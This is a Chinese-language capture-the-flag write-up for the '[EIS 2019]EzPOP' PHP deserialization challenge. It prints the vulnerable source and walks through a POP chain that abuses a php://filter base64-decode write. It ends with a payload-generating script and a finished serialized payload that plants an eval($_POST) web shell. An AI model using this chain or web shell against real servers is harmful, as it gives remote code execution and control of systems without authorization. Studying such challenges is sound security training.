[EIS 2019]EzPOP

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php
error_reporting(0);

class A {
protected $store;
protected $key;
protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

获取flag的途径大概只有B::set中的file_put_contents

1
2
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

但是写入的data前面跟上了

1
2
3
<?php
// xxxxxxxxxxxx
exit();?>

于是无法通过直接写入PHP代码来实现RCE

但是由于file_put_contents支持伪协议,可以构造设法使filenamephp://filter/write=convert.base64-decode/resource=shell.php,通过base64解码破坏掉开头的PHP

setfilename的控制

1
2
3
4
5
public function set($name, $value, $expire = null): bool{
// ...
$filename = $this->getCacheKey($name);
// ...
}

filename由传给setname参数通过getCacheKey得到

1
2
3
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

getCacheKey简单地将options['prefix']name拼接,因此令options['prefix']''name'php://filter/write=convert.base64-decode/resource=shell.php'即可

setdata处理

1
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

PHP的base64_decode会忽略掉那些非法字符,于是上面的前缀只有php//xxxxxxxxxxxxexit共21个字符会作为base64被解析

为了使我们经过base64编码之后的木马被顺利解析,需要将前缀被解析的字符凑到4的倍数个,于是data可以简单地设为'000' . '<base64-encoded-php-code>'

1
2
3
4
5
6
7
8
9
10
11
$data = $this->serialize($value);
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}
data`由`value`参数经过`serialize`的处理得到,而`B`中`serialize`函数通过可变变量调用函数处理`data

于是设置options['serialize']'strval'即可原样返回为

A的处理

B并不存在可用的魔术方法来在反序列化时执行代码,只能从A中寻找突破口

1
2
3
4
5
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}

发现A有一个__destruct魔术方法,调用了save函数

1
2
3
4
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}

巧的是save刚好存在set函数的调用,令storeB即可

setname参数通过key设置

value参数为contents,通过getForStorage函数获得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([...]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}
cleanContents`可通过控制`contents`为空数组来返回空数组,也就是令`cache`为`[]

complete'000' . '<base64-encoded-php-code>',由于json_encode不产生base64有效字符,所以不会影响解码

payload生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class A
{
protected $store;
protected $key = 'php://filter/write=convert.base64-decode/resource=shell.php';
protected $expire;

public function __construct()
{
$this->store = new B();
$this->cache = [];
$this->complete = '000PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+';
}
}

class B
{
public function __construct()
{
$this->options = array(
'prefix' => '',
'serialize' => 'strval'
);
}
}

print(urlencode(serialize(new A())));

其中PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8+<?php eval($_POST['a']); ?>的base64编码

运行得到payload

1
data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A39%3A%22000PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7ID8%2B%22%3B%7D

2

参考链接:

https://sora.zip/article/CTF/WriteUp/23-02-27/[EIS%202019]EzPOP.md